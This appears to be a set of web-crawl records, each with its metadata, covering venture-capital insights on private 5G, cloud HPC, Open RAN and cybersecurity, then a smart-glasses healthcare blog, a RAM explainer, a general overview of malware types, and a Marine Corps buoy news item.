Zeetta translates the demand and intent into a set of parameters and complex actions for each domain, and leverages the open interfaces provided by the MNOs/MSPs supplying the MPN to create the connectivity slice and avoid over-dimensioning of the RAN, Core and BSS/OSS hence reducing cost (CAPEX and OPEX). This slice is then continuously monitored, compared and adapted based on the quality of experience (QoE) targets.
Zeetta product architecture
5G offers high capacity, low latency, and full flexibility, coupled with reliability through dedicated spectrum. Whilst public 5G network slices will evolve over time, the current lack of in-building coverage and fine-grained control means that for many enterprises the best solution is to procure their own 5G MPN.
Many pilots [Vodafone & Ford] have already demonstrated the significant benefits of 5G MPNs and a number of initial deployments are already operational [Verizon & UK ports]. 5G MPN rollout is likely to reach around 25k installations by 2026 and accelerate rapidly to ~120k by 2030 [Analysis Mason; IDC; Polaris Market Research; ABI research].
Whilst many have leant heavily on MNOs to help design, deploy and configure their MPNs, such an approach will be difficult to scale, and the growth projections are unlikely to be realised unless 5G MPNs can be as simple to deploy and manage as experienced with cloud resources today.
If achieved, this will open up 5G MPNs to enterprises of all sizes – in essence, similar to the democratisation of telco APIs brought about by the introduction of developer-friendly platforms (and RESTful APIs) from the likes of Twilio a decade or so ago.
Twilio growth in the past decade [source: Twilio]
The cloud emerged in a similar timeframe, but since those early launches of elastic processing and storage, a multibillion-dollar industry has grown up around them supplying tools and supplementary services to make the consumption of these resources simpler. To enable enterprise 5G MPNs to be built on-demand as simply as is now enjoyed with cloud resources will require a similar ecosystem of tools and services to emerge.
Zeetta is leading the vanguard in this regard by providing a sophisticated orchestration tool that acts essentially as a ‘Kubernetes for MPNs’, but extends across multiple technology domains (4G, 5G, Wi-Fi, SD-WAN, MEC, public 5G slices etc.) to provide comprehensive management, and all exposed via an intuitive ‘single pane of glass’ and DevOps-friendly interface.
Demand for high performance compute (HPC) on the rise
Once the stalwart of particle physicists, Formula 1 designers, and climate forecasters, the demand for HPC is rapidly going mainstream as corporates increasingly introduce deep learning models, simulations and complex business decisioning into their daily operations.
HPC can play a pivotal role in accelerating product design, tackling complex problems and enabling businesses to generate insights faster and with more depth and accuracy, and has applicability across an ever-widening range of industries including financial services, media, gaming and retail.
To-date, the only option for corporates seeking to access this level of compute was to build, maintain and operate dedicated HPC facilities in-house, but this brings a number of challenges. The first is cost – HPC systems are expensive, and only around 7% of the budget actually goes toward the hardware, the rest being consumed by buildings, staffing, power, cooling, networking etc. Moreover, because many of these systems are designed to support peak demand, utilisation can be as little as 60% for the majority of the time.
What’s more, significant additional capital is needed on a three year upgrade cycle to keep pace with demand as the business grows and the volume and complexity of workloads increases, and/or to reap the benefits of the latest computing technology. But this computing resource is intrinsically finite and hence projects within an organisation need to be prioritised leading to many missing out or having to step aside if more urgent tasks come along.
HPC on-premise deployments are traditionally designed and optimised around particular use cases (such as climate forecasting) whereas corporates today need HPC resources that can support a much broader set of applications and be able to adapt as workload characteristics evolve in reaction to the fast-moving competitive landscape.
Many companies are therefore turning to cloud-based HPC.
[Image Source: www.seekpng.com]
Benefits of cloud HPC
First and foremost, cloud HPC provides more flexibility for an organisation to gain access to HPC resources as and when needed and scale to match individual workload demands.
It also opens up more choices for the corporate; for instance, employing 10x HPC resources to accelerate product design and gain competitive advantage by being first to market. Or increasing productivity by removing compute barriers so that the corporate can use more detailed simulations or eliminate the effort in simplifying deep learning models to fit inside legacy hardware.
A cloud-based approach mitigates the risk in cost & complexity of operating HPC on-prem by providing flexibility to manage the cost/performance trade-off, allowing HPC environments to be created on the fly and then torn down as soon as the workloads have completed to avoid the corporate paying for resources and software licenses that are no longer needed.
To accommodate this variability in customer demand, CSPs dimension their cloud infrastructure with excess capacity which is powered-up and ready to use but otherwise sitting idle. To offset the monetary and environmental impact of this idle infrastructure, CSPs offer this excess capacity in the form of preemptible instances at massive discounts (up to 90% in some cases) but with the caveat that the resource can be reclaimed by the CSP at a moment’s notice if required by a full-paying customer – a corporate choosing to use these preemptible instances is essentially trading availability guarantees for a variable but much reduced ‘Spot’ price.
HPC workloads such as running a simulation, training a deep learning model, analysing a big data set or encoding video are periodic and batch in nature and not dependent on continuous availability hence a good fit for preemptible resources. If some of the resource instances within the HPC cluster are reclaimed during processing, the workload slows but does not completely stop. Ideally though, it should be possible to quickly and seamlessly re-distribute the part of the workload that was interrupted to alternate resources at the same or a different CSP thereby ensuring that the workload still completes on time – this is possible but not easy, and an area of speciality for some 3rd party tool providers.
With the increase in availability of HPC resources twinned with the ability to closely manage cost, corporates get the opportunity to open up HPC resources to the wider organisation, enabling a wider range of teams, departments and geographically dispersed business units to access the processing power they need whilst being able to track cost and performance and focus on outcomes rather than managing operational complexity.
In a world that is speeding up, becoming more competitive, and being driven by continuous integration and continuous delivery (CI/CD), easy access to cost-effective HPC resources on-the-fly is likely to become a key requirement for any corporate wishing to stay ahead.
Considerations when leveraging cloud HPC
Running complex technical workloads in the cloud is not as simple as swiping a credit card and getting a cloud account.
Many of the companies coming to cloud HPC will be specialists in their area, and may also have cloud expertise, but will need support in composing their workloads to take advantage of the parallelism within the cloud HPC stack, and tools to help them optimise their use of cloud resources.
Such tools will need to work across both workload management and resource provisioning, balancing them to meet the corporate’s target SLAs whether that be dynamically adding more resource to complete a workload on time, or prioritising and scheduling workloads to make most effective use of resources to meet budgetary constraints.
More specifically, tools will be needed that can:
Conduct realtime analysis of workload snapshots to determine their compute requirements.
Sift through the bewildering array of 30,000 different compute resources offered by the CSPs to ensure the best fit for each individual workload whilst also abiding by any corporate policy or individual budgetary targets. Factors that may need to be taken into account when selecting appropriate resources include:
- Workloads that are limited by the number of cores they can use
- Workloads that require particular processor hardware to match the OS used within a virtual image
- Workloads that may have scaling limitations due to the nature of the application licensing model provided by the software provider(s) that may not allow for bursting above a small number of processors
- Workloads that require processor hyper-threading to be disabled and/or are dependent on bare metal servers as opposed to virtual machines to maximise performance
- Tightly-coupled workloads that have specific latency and bandwidth requirements for communication between the cluster nodes
- Workloads involving sensitive data or regulatory restrictions that require all processing to be conducted within a particular locale
- Preference for cloud resources powered via renewables to meet corporate ESG targets
Create clusters of mixed instance types, and do this x-CSP to avoid vendor lock-in and/or to circumvent constraints imposed by any single CSP when dealing with large clusters.
Ensure the workload data is available in the relevant cloud by replicating data between CSPs and locations to ensure availability should a workload need to be executed there.
Monitor when workloads start and complete to ensure that resources are not left running when no workloads are executing.
Intelligently monitor spot/preemptible instances (where used) to ensure that workload cost stays within budget as the spot pricing fluctuates with demand, and reallocate workloads seamlessly if instances are reclaimed by the CSP to ensure that the composite cluster is able to deliver against the workload targets.
Integrate into a corporate’s DevOps and CI/CD processes to enable accessibility of HPC resources more broadly across the organisation.
Provide a single view of workload status and enable users to dynamically make changes to their workloads to deliver results on time and within their project budgetary constraints.
Coordinate with any 3rd party schedulers already used by the corporate (e.g., Slurm, IBM LSF, TIBCO DataSynapse GridServer etc.) to provide a single meta system for workload submission and management across on-prem, fixed cloud and public cloud HPC resources.
Client types and associated requirements
The relative importance of these different tools and requirements will very much be determined by the type of company seeking to utilise cloud HPC, the level of resources they may already have in place and the type of workloads they need to support.
Three example client types are outlined:
Multi-national organisations and specialist corporates in sectors such as academia, engineering, life sciences, oil & gas, aircraft and automotive that already have an HPC data centre on-prem but aim to supplement it with cloud HPC resources to avoid the cost of building out and maintaining additional HPC resources themselves to increase capacity.
Such clients may use cloud resources as an extension of their existing HPC for use with all workloads, or segment and only use cloud for adhoc non-critical (and loosely coupled workloads), or perhaps just for ‘bursting’ into the cloud to deal with peaks in demand either because the planned workload exceeded expectations and bursting was needed to complete it on time (e.g., CGI rendering), or bursting was employed to speed-up execution and produce simulation results more quickly. By using the cloud as an adjunct enables these companies to extend the usefulness of their existing on-prem systems, and any new systems they deploy can be designed with less peak performance capacity by being able to burst into the cloud whenever needed.
Given that the corporate will already have on-prem and/or private cloud infrastructure, cloud HPC tools will be needed that can interface with the existing 3rd party workload schedulers. Equally, any cloud HPC resources that are employed may need to be matched to the on-prem resource types already in-use, hence intelligent tooling will be needed that can analyse individual workload requirements and provision the most appropriate cloud resources across the myriad of available instance options from the CSPs, and map the workload accordingly across the on-prem and cloud infrastructure.
Depending on the workload, the corporate may also decide to use spot/preemptible instances to complete batch processing tasks without loading other cloud resources and/or as a way of managing cost.
Corporates in sectors such as financial services, retail, media, gaming, manufacturing and logistics that are dependent on high-performance compute to drive their deep learning models, simulations and business decisioning to maintain a competitive edge but with insufficient funds and/or interest in deploying and managing dedicated HPC resources on-prem hence reliant on such resources being provided via the cloud.
Given the mission-critical nature of their workloads, such corporates are likely to follow a multi-cloud strategy to provide resiliency and de-risk dependency on a single provider. Selection of resources may also be driven by corporate sustainability goals, with a preference for CSPs and/or specific CSP data centres that maximise use of renewables.
Intelligent tooling will also be needed for use by the corporate in parallelising their workloads and integrating into their existing DevOps processes, and a dashboard providing oversight of HPC resources employed and workload status.
Similar to the cloud-native corporates, many startups/scale-ups utilising deep learning for NLP, computer vision etc. are keen on gaining access to HPC resources to accelerate their product development and time to market, and/or would like to develop products and services that can scale up and down in the cloud, but may not have the budget or expertise to achieve this.
Such companies are therefore wholly dependent on automated tools that enable them to programmatically control their usage via DevOps interfaces and dynamically switch between different CSPs and instances to minimise their costs. Primary usage will be via preemptible resources, and startups may also choose to use older generation instances to meet budgetary constraints.
YellowDog is a pioneer in the cloud HPC space, providing solutions that enable intelligent orchestration, scheduling and provisioning at scale across on-prem, hybrid and multi-cloud environments and delivering on all the requirements outlined above.
In addition to providing benefits to companies already employing HPC, they’re unique in being able to generate clusters delivering HPC levels of compute using spot/preemptible instances hence are well placed to support the new breed of companies needing access to HPC performance levels at an affordable price and to provide startups with a base platform that enables them to easily develop a new autoscaling product or service hence reducing their time to market and simplifying development.
A particular speciality of YellowDog is the ability to rapidly spin-up massive scale HPC clusters that aggregate resources from multiple CSPs and/or across multiple regions to circumvent the scaling limits in any particular CSP; in 2021, YellowDog successfully demonstrated creation of a cluster utilising 3.2million vCPUs on AWS to run an HPC workload with 95% utilisation, and achieved this feat in under an hour.
Figure 4 Scale-up to 3.2 million vCPUs and rapid scale-down on job completion (YellowDog; AWS)
The YellowDog platform provides a straightforward GUI enabling engineers and scientists to use the platform without needing to be HPC specialists, and also provides a sophisticated dashboard and API access for managing workloads and provisioning preferences, including an ML-based prediction of completion time thereby enabling customers to easily flex the resources being employed to meet a particular deadline or budgetary constraint.
Unique in the market, YellowDog also compiles a realtime insight on the myriad of different instances offered by the main CSPs with regard to their machine performance, pricing, and use of renewables, and utilises this intelligence within the YellowDog platform to deliver optimal provisioning for its clients.
Whilst there are other companies offering solutions to help clients with their cloud orchestration and management, only YellowDog provide orchestration twinned with intelligent scheduling and provisioning at sufficient scale to deliver compute capabilities at HPC performance levels, and at a price point using spot/preemptible resources that meets the growing industry demand, and via a platform and set of tools that enable all to enjoy the benefits of cloud HPC.
The world is speeding up.
Easy access to HPC levels of compute via the cloud is changing the economics of product development, increasing the pace of innovation and enabling corporates to increase agility, accuracy, and critical insights in today’s data-driven economy. By harnessing preemptible instances and spot pricing, even the smallest of companies and startups can now afford to run HPC workloads.
Preemptible instances ensure that cloud resources do not lie idle, and bring environmental benefits as well as incremental revenues for the CSPs and lower costs for companies utilising the cloud – a veritable win:win for all, and demonstrates that HPC systems in the cloud can be cost-comparable to on-prem alternatives whilst bringing many advantages.
Harnessing the potential of cloud HPC whilst meeting all other business objectives though is no mean feat and will be dependent on intelligent tooling. YellowDog is a pioneer in this space and a perfect partner for any business looking to leverage cloud HPC resources to gain a competitive edge.
Amazon Web Services (AWS), Google Cloud Platform, Microsoft Azure, Oracle Cloud Infrastructure and Alibaba
The science that connects our phones to cell towers remains one of the greatest technological achievements of the past century. Radio Access Networks (RAN) convert electromagnetic waves to data streams of electrons and back again at fibre-like speeds.
This is made possible through the deepest technology which takes theoretical physics out of the lab and turns it into a commercial reality. Driving the generations of technology that have become familiar household terms (the G’s) is a rich ecosystem of academia, vendors and network operators co-ordinated through standards bodies and initiatives such as ITU-R, 3GPP, GSA and GSMA.
Open RAN (ORAN) is one such initiative gaining market momentum with engagement across a range of players (mobile operators, network equipment providers, chip component suppliers, system integrators, and test specialists). ORAN has moved beyond the peak of the hype-cycle and will become a major force in RAN equipment provision. Some predict it will grow from less than a tenth of total RAN spend in 2021 to over a half by 2030.
The theory of ORAN, and the driving force behind the initiative, is supply chain disruption. For Mobile Network Operators (MNOs) it provides greater flexibility, increased innovation, a broader number of suppliers whilst reducing cost through competition. Ultimately ORAN promises to break decades of vendor lock-in.
In some respects, there’s a sense of déjà vu with MNOs pushing a strategy of open interfaces between infrastructure elements to diversify supply chains.
In the early 2000s, at the peak of 3G hype, there was a broad set of infrastructure suppliers with Nokia, Ericsson, Nortel, Alcatel, Lucent, Motorola, Siemens, and Huawei all vying for business in 3G rollouts.
Even back then 3GPP standards specified intra-network element interfaces that enabled mobile networks to be built using multi-vendor products. Nokia and Ericsson developed complete end-to-end (E2E) solutions, whereas others like Motorola and Lucent concentrated on specific network elements.
But in practice, the single vendor E2E solution providers won out, the MNOs preferring a fully integrated solution as it simplified supply chains, reduced system integration overheads and streamlined Network Management. Consequently, only a small number of dominant suppliers have survived the industry consolidation that followed with the likes of Nortel, Siemens, Motorola, Alcatel and Lucent disappearing.
What’s different this time?
Valuable lessons have been learnt, this time around there is a focus on tackling proprietary product architectures and mitigating against over complicated vendor-specific Operations and Management (O&M) systems.
The O-RAN Alliance founded in 2018 by AT&T, China Mobile, Deutsche Telekom, NTT Docomo and Orange is a global community of MNOs, vendors, and research institutions working together to ensure interoperability. The Alliance has published over 74 specifications that address gaps and ambiguities within the 3GPP specifications defining the necessary O&M processes and systems.
In addition to this, security concerns about critical infrastructure being sourced predominantly from Chinese companies such as Huawei and ZTE (with implied state control) has led to Governments forcibly opening up the telecoms market by banning Chinese manufacturers from providing critical elements of 5G infrastructure. In doing so, creating a technology vacuum stimulating innovation and creating opportunity for new entrant startups – all made possible by ORAN.
A number of startups have successfully entered the market providing RF front-end solutions; examples in Europe: AccelerComm, Lime Micro, Pharrowtech, Software Radio Systems, and outside Europe: DeepSig, EdgeQ, Metanoia Communications and Picocom.
Which companies are innovating in ORAN?
Southampton based AccelerComm is a good example of how startups can bring fresh innovation into the ORAN space – in their case, developing deep tech that delivers a 10x improvement in information throughput speeds and latency reduction.
The 5G ORAN architecture also introduces the RAN intelligent controller (RIC) which allows 3rd parties to generate xApps (near real-time) or rApps (non-real time) for optimising ORAN performance based on the environment. The higher-level Management & Orchestration functions of 5G also provides opportunities for new entrants such as: Accelleran, IS-Wireless, Zeetta Networks in Europe, and from further afield Aarna Networks, Cellwize, and Opanga.
Zeetta has developed multi-domain orchestration technology based on 5G network slicing principles, and innovative splicing technology to provide QoS management and improve resource utilisation across access networks and cell sites. A capability that is especially relevant to Industry 4.0 and is demonstrated via the DCMS-backed 5G-ENCODE project.
ORAN is driving demand for higher performance compute, especially to meet the higher levels of complexity in 5G compared with 4G. Massive MIMO, in particular, can prove challenging when significant antenna arrays are used in combination with high bandwidths – Xilinx estimates a x40-x300 uplift in compute for 100MHz 64T64R 5G compared with 20MHz 8T8R 4G [source: “Telecom TV – OpenRAN Summit – October 2021”].
In response, chip suppliers are working to enrich existing CPU products with hardware accelerators to meet the demands of high-performance ORAN software whilst seeking to optimise power efficiency to enable a wider range of deployment topologies. Enter ARM and watch this space Intel.
How big is the prize?
The ORAN market will take time to become an established alternative to existing single vendor solutions especially for the high demand of dense urban high-capacity deployments. Indications are that the ORAN marketplace will mature in 2024/2025, providing an opportunity for companies to establish themselves in the short term and be well placed to capitalise on the maturity and growth phase of ORAN. ABI Research predict ORAN revenue will grow to over a half of RAN revenue by 2030.
Having said that, many MNOs will have deployed their 5G RAN equipment by this time, and ORAN may end up being more significant during a 5G equipment refresh towards the end of the decade. This is being accelerated by state intervention:
- $750M of ORAN Wireless Network Funding in the USA
- €150Bn of funding from the EU to help MNOs roll out 5G
- UK orders removal of Huawei equipment from 5G network by 2027
These may lead to more ORAN investments over the next 2-3 years, especially for rural areas. In the meantime, the deployment of private cellular networks (PCNs) may drive the near-term commercial opportunity for ORAN. J’son and Partners Consulting estimate that annual spending on private 4G/5G reached $1Bn in 2020, with an estimated 10% YoY growth.
Whilst this represents a sizeable market for the ORAN ecosystem, it only equates to about 2% of the total expenditure in cellular infrastructure by the MNOs, small compared to the wide-area public network opportunities in today’s market. However, strong longer-term growth in enterprise and industrial PCNs is predicted by ABI Research with revenues growing to $65Bn by 2030.
The combination of ORAN technology readiness and political stimulus are clear indicators that there’s a real opportunity for startups. Provided that is, the MNOs don’t repeat history and opt for established vendor single supplier solutions as Vodafone UK has decided to do with its selection of Samsung as its single vRAN and ORAN solution provider. BT has announced a Nokia ORAN trial in Hull and notably has been quite public that no one should assume that a single vendor strategy is going to change anytime soon.
More positively Vodafone Group has recently announced its opening an R&D centre in Spain that will work with Intel and other silicon vendors to develop its own ORAN chip architecture with half the 5 year investment of €250m coming from EU funding. Whether or not this will allow new innovators into the inner circle remains to be seen.
How does this impact early-stage deep tech?
One of the biggest challenges for early-stage companies in telecommunications remains as much a balance sheet one as it is a technology one. How do you convince the supply chain manager of an MNO that a loss-making startup is a safe bet for its critical infrastructure?
The answer is two-fold: first deliver significant performance improvements that have economic impact. This will likely be in specialist areas that the generalist prime contractors are not agile enough, or don’t have the deep technical expertise, to address.
Such technology is likely to be very deep in the technology stack in areas such as L1 channel coding/equalisation, power efficient accelerator hardware and RF semiconductors, and at the higher layers in orchestration/resource management and QoS management using AI and Machine Learning in the RIC (xApps and rApps).
Second is to partner with and sell to the OEMs rather than MNOs. OEMs are the most obvious partners as they are also potential investors in deep tech companies.
Has the ship sailed for early-stage investment in these areas?
It possibly has for Seed stage startups with a focus on 5G ORAN. But the next developments of 5G-advanced and 6G have already started, just as those have in the parallel universe of IEEE (Wi-Fi 6 and 7). So, an opportunity for early-stage investment does exist and lays in those deep dark pools of tech that will deliver on the vision to produce more efficient and cognitive networks.
Whether ORAN alone can break incumbent vendor lock-in remains to be seen.
Cybersecurity innovation critical in combatting the inexorable rise in cyber threats and ransomware attacks.
Bloc invests in technology areas that underpin the future growth and prosperity of the digital age. Cybersecurity, and in particular the challenges companies face as they move operations online and into the cloud, is a growing area of importance and innovation.
The landscape for security teams is rapidly changing. Digital transformation, accelerated by Covid and remote working, is driving a rapid uptake in cloud utilisation.
Hybrid multi-cloud & remote working practises are dramatically expanding the attack surface as workforces access company IT systems from unsecured devices (home PCs, tablets) and over unsecured WLANs (home, coffee shops) thereby tearing down the single security perimeter that security teams have previously come to rely upon.
Competitive pressures driven by DevOps & CI/CD working practises are leading to mistakes in cloud configuration and deployment of unauthorised shadow IT, both of which are creating additional vulnerabilities within company networks – Verizon estimates that 82% of enterprise breaches should have been stopped by existing security controls but weren’t, and 79% of observed exposures were in the cloud compared with 21% for on-premise assets.
Worst still, zero-day vulnerabilities introduced or exploited within the systems and software of companies’ suppliers is on the rise – a Trojan horse in effect that a business has very little control over, although startups such as Darkbeam are seeking to help companies manage the risk.
Cyber-attacks and the resultant data breaches are expensive, erode customer trust, damage brand reputation and can ultimately stop a company in its tracks.
And yet despite their efforts, many companies are being overwhelmed by the magnitude of threats they face, and are ill-equipped to differentiate between real threats and false alerts coming from their networks.
Survival will be dependent on the development of intelligent tools leveraging advanced AI/ML that can augment and support security teams in their ever-lasting battle with the cybercriminals.
Key areas for innovation identified by Bloc
We have identified a number of cybersecurity areas for innovation:
- Use of few-shot learning AI techniques for detecting zero-day exploits with unknown signatures such as those introduced through supply chain attacks
- Methods for obfuscating existing networks to inhibit attackers without the company needing to re-architect
- Enclave Networks is one such company helping its clients to ‘darken’ their networks through the introduction of invisible network access gates
- Implementing zero-trust principles to prevent attackers from moving laterally through the network after gaining access via infected systems
- Zero-trust assumes that everyone in the network could be a bad actor, hence all activity is continuously monitored for behavioural anomalies and access to individual systems managed via granular privileges and more robust authentication methods
- Introduction of cyber deception platforms and honeytraps that lure attackers into revealing themselves thereby enabling security teams to shut them down before they cause any serious damage
- CounterCraft, for example, provide a cyber deception and counterintelligence platform designed to detect intrusion and insider threats before attacks are perpetrated
- Supporting anomaly detection at scale, especially for Industrial IoT networks comprising huge numbers of devices
- Realtime anomaly detection becomes especially challenging in the IoT space as the number of devices scale into the millions. One way to tackle this (pioneered by Shield-IoT based on work conducted within MIT) is to compress the network and resulting data into a smaller coreset enabling context-free highly accurate anomaly detection in minutes instead of hours or days
The market opportunity is clear
Cybersecurity software & tools in 2020 was worth $12 billion in the UK, $26.5 billion in Europe and $78 billion globally and is projected to grow to $118 billion globally by 2024. The cybersecurity market for hardware & software combined is expected to exceed $200 billion by 2024 and reach $372 billion globally by 2028.
Managing cloud vulnerabilities is a race between attacker and defender and therefore ripe for new entrants bringing fresh ideas and utilising the latest technology to deliver anomaly detection, behavioural profiling and automated tools for supporting security teams and those companies wanting to take their business operations into the cloud.
Investment research firm, Edison Group, has written an in-depth report on Bloc Ventures and conducted a video interview with our CEO, Bruce Beckloff. Read the report here and watch the interview here.
Bloc’s CTO and co-founder, David Leftley, comments in Tech Monitor. | <urn:uuid:65916de1-88cf-44ab-85e6-23e1fe79f46d> | CC-MAIN-2022-40 | https://blocventures.com/category/insights/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334620.49/warc/CC-MAIN-20220925225000-20220926015000-00337.warc.gz | en | 0.931795 | 10,519 | 2.875 | 3 |
Perhaps the biggest advance in healthcare IT innovation has been the inexorable evolution of mobile connectivity. The progressive technology drive has always been toward smaller (less obtrusive), faster, smoother, and safer devices. Nowhere is this more evident than in the jump from desktop PCs to laptops to tablets and finally smartphones, giving our hands greater freedom. And now we’re focusing on taking the next step: completely removing our hands from the equation. One ubiquitous example of progress in this direction is the introduction and wide adoption of voice-enabled technology like Siri, Alexa, and Google Assistant, all of which are currently limited to audio input. The next step in this evolution involves adding visual input in the form of head-mounted cameras, visual output displays (tiny optical viewing screens or transparent heads-up displays), and wireless connectivity—together defining the category of smart glasses. Typically, audio capability is present as well, and, increasingly, so is computer processing.
The most well-known of these devices is the seminal, highly publicized Google Glass. Staying true to the aphorism that necessity is the mother of invention, such wearable computer interface devices were conceived with specific use cases in mind. I’ll detail a few below, but, as with the introduction of any new technology, the number of creative applications will no doubt rapidly expand as product evolution advances.
As a primer, there are currently two evolving categories of smart glasses technology: augmented reality (AR) and mixed reality (MR). Augmented reality superimposes a non-manipulative computer-generated image on a user’s view of the real world. For example, the name of a plant will appear as you gaze at it, or a direction arrow will guide you as you navigate an unfamiliar neighborhood. Mixed reality allows the user to interact with the added virtual element. A good example of this is a surgeon superimposing and correctly positioning an x-ray over the patient’s spine during an operation. There are very few mixed reality applications available today, but this is where it’s all headed in the near future.
Humble Beginnings: Google Glass Smart Glasses
Google Glass is a small, lightweight wearable computer with a transparent display for hands-free work. It has been through many iterations, starting with a camera, display, and voice activation (not exactly smart glasses—it was used primarily for remote mentoring/training with no fancy virtual/visual enhancements), and progressing to AR functionality. At one point, Google had ostensibly discontinued work on the device, but they have recently re-energized their developmental efforts. One large limitation of their technology is that it only has a display for the right eye, which limits the extent and quality of the user’s immersion experience.
The Next Generation
Examples of current advanced devices include:
- MR – Microsoft Hololens
- AR – Realwear HMT-1
- AR – Vuzix M300
- AR – Epson Movario
- AR – Lenovo ThinkReality A6
- AR – Google Glass Enterprise Edition 2
Additional Product Feature Considerations
When comparing smart glasses, beyond clinical functionality, one should also consider battery life, waterproofing/resistance, shock resistance, safety certifications, data security provisions, EN 60601 compliance, temperature extreme resistance, head tracking, gesture controls, local device integration, local speech recognition (i.e. for noisy environments), and/or language translation.
Smart glasses communicate wirelessly (cellular networks or Wi-Fi) to the cloud, where their function (i.e. interactivity) is managed using middleware and AR software. An example of this is HPE Visual Remote Guidance (VRG) software, which enables hands-free wearable devices (as well as phones and tablets) to connect via cellular networks or Wi-Fi to the enterprise, used in conjunction with Vuforia’s AR development software.
Healthcare Use Cases
At the end of the day, the value of any healthcare technology is determined by its ability to drive improvement in both efficiency and patient outcomes. To this end, the following are examples of currently employed and rapidly evolving use cases that are showing great promise.
- Augmented Mentoring (Education and Guidance): A physician performing patient rounds or surgery can enable remote expert colleagues, residents, or students to see what they’re seeing and hearing and offer feedback. It can similarly be used for grand rounds. Conversely, a remote category-expert physician can guide an attending resident who is treating a patient. In addition, remote guidance can be applied to aid a technician in the repair/maintenance of capital medical equipment and IT infrastructure.
- Vein Visualization: AccuVein, currently in use in hospitals, can project a map of a patient’s veins onto their skin, making it easier for healthcare workers to find a vein on the first try.
- Surgical Visualization: Medical image processing combined with 3D AR visualization enables orthopedic surgeons to perform minimally invasive procedures more accurately by projecting three dimensional representations of the patient’s internal anatomy into the surgeon’s limited field of view.
- Surgical Planning: Medivis’ combination of AR + AI + imaging enables physicians to visualize the patient’s anatomy holographically, resulting in a much more detailed vision of the body’s architecture than is possible using traditional 2D scans.
- Data/Image Access: A provider could call-up x-rays, test results, anatomical guide, or historical skin lesion images without averting their eyes from a patient or a surgical field.
And, in the words of Marisa Tomei in My Cousin Vinny, there’s more. You can count on an avalanche of new solutions coming down the pike as hardware advances in terms of process speeds and connectivity, and concomitantly evolves into more personally integrated delivery vehicles such as contact lenses and implants—all together enabling extraordinary breakthroughs in software development. And the great news is that the patient is the ultimate beneficiary. | <urn:uuid:82e854bb-581e-43f8-a6a9-80c1702ab85b> | CC-MAIN-2022-40 | https://community.connection.com/smart-glasses-bringing-mission-impossible-to-the-hospital/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334620.49/warc/CC-MAIN-20220925225000-20220926015000-00337.warc.gz | en | 0.90979 | 1,250 | 2.671875 | 3 |
Back to the basics here.
Information is stored and accessed in two ways in a computer: The Hard Drive and Random Access Memory (RAM).
The hard drive stores data, the operating system, applications and the configuration of the computer. If you are the type to save everything on your desktop (including documents, movies, music, and pictures), you might need to consider a larger hard drive for your computer (and make sure it is backed up!!).
Ramis where the program executes. It is input and output. Ram likes to spike- the more you have compared to the number of applications you are running, the less it will spike.
Some applications are Ram intensive. Meaning that they require more Ram to functions smoothly. Have you ever used a program that glitches and lags as you attempt to click through and do what you need to do? This could be a simple answer of the device needing more Ram to execute the program.
If you have any questions about your computer’s configuration and how it affects your business workflow- reach out to Iris! We are here to help! | <urn:uuid:78f9ca78-8a82-4f07-bebc-13c594bb2838> | CC-MAIN-2022-40 | https://www.dimension.irissol.com/blog/2017-01-computer-memory-information-storage/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334620.49/warc/CC-MAIN-20220925225000-20220926015000-00337.warc.gz | en | 0.940184 | 222 | 3.171875 | 3 |
Laptops, desktops, and even smartphones are exposed continuously in front of various malicious programs which are aimed at causing different types of damage to the system. Such types of nasty programs are in general called malware. Malicious software (or in short malware) may be any kind of software which may be harmful for your PC. Listed below are some of the most general types of malware which you should watch out for.)
Trojans and Bots
An automated program that allows your desktop to be managed by other users is known as a Bot. Normally, this type of malicious software program infects multiple desktops that allow the sending of a large proportion of spam email messages.
While a Trojan also called Trojan Horse could be easily contracted using a normal file download or an email message, the software injects a so-called backdoor to your system which eventually makes it quite easily accessible to a number of unauthorized computer users.
Spyware And Adware
Usually spyware and adware programs get inside the computer system while you are surfing on the net. The chief goal of adware program is to open up net surfers to commercial advertisements. For instance, an adware program may cause your browser to direct towards a website which you did not intend visiting, or may cause the appearance of pop-up ads on your desktop. Normally, such types of malware programs are not that harmful to your computer, but its effect may prove to be quite annoying.
On the other hand, spyware as opposed to adware, can prove to be quite harmful. Spyware is responsible for stealing the data on your computer and sending it to a third party. Your financial or personal information, fax/telephone numbers, passwords, bank account details can be stolen using spyware. The program also has the ability to collect the data regarding your surfing habits at the same time. This can include details about the files you download or even the sites you regularly visit.
This kind of malicious program can be very harmful because it assists in executing the most dangerous online action i.e. identity theft. Everything a computer user types gets recorded by a Keylogger. The software enables cyber criminals to gain access to logins, passwords, codes used by users in order to access safe information and even bank account details.
Viruses are among most common malicious programs that have been around for a far longer period of time. Many decades ago, viruses were mainly distributed using physical media such as floppy disks. Today, they are distributed on the internet with the help of hidden email attachments or hidden documents. Such types of malware may be easily contracted at any moment you connect any kind of physical storage like flash memory sticks, MP3s, etc to your desktop. The effects can vary from small annoying troubles to more severe damages to hardware and files.
So it's very important to learn how to secure your desktop from the wide diversity of malicious software which could attack your computer at any moment. | <urn:uuid:131e69c3-389d-4b78-b959-81866184d0a4> | CC-MAIN-2022-40 | https://www.infostream.cc/2014/04/type-malware-explained/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334620.49/warc/CC-MAIN-20220925225000-20220926015000-00337.warc.gz | en | 0.942555 | 609 | 3.21875 | 3 |
The U.S. Marine Corps has used aircraft-deployed, sensor-equipped buoys to study and quantify elements of the sea as a warfighting zone.
MV-22 Osprey aircraft deployed cylindrical buoys during the recent Trident Warrior exercise to help the military service branch gain more warfighting insights about the sea and near-shore environments, the U.S. Navy said Wednesday.
The floating buoys descend to the ocean's depths to gather data then transmit findings to the Naval Oceanographic Office (NAVO) after returning to the surface.
“Deployment of these floats creates a more vivid picture of how the ocean and atmosphere interact, including wind speed and water temperature and salinity,” said Scott Harper, a program officer in the Ocean Battlespace and Expeditionary Access Department within the Office of Naval Research (ONR).
NAVO will continue to receive the buoy-gathered data over a span of several months. | <urn:uuid:92f8a2fc-270f-4448-858c-74facffbae07> | CC-MAIN-2022-40 | https://executivegov.com/2020/12/usmc-deploys-buoys-to-study-ocean-for-warfighting-input/ | null | s3://commoncrawl/crawl-data/CC-MAIN-2022-40/segments/1664030334992.20/warc/CC-MAIN-20220927064738-20220927094738-00337.warc.gz | en | 0.925165 | 197 | 2.765625 | 3 |
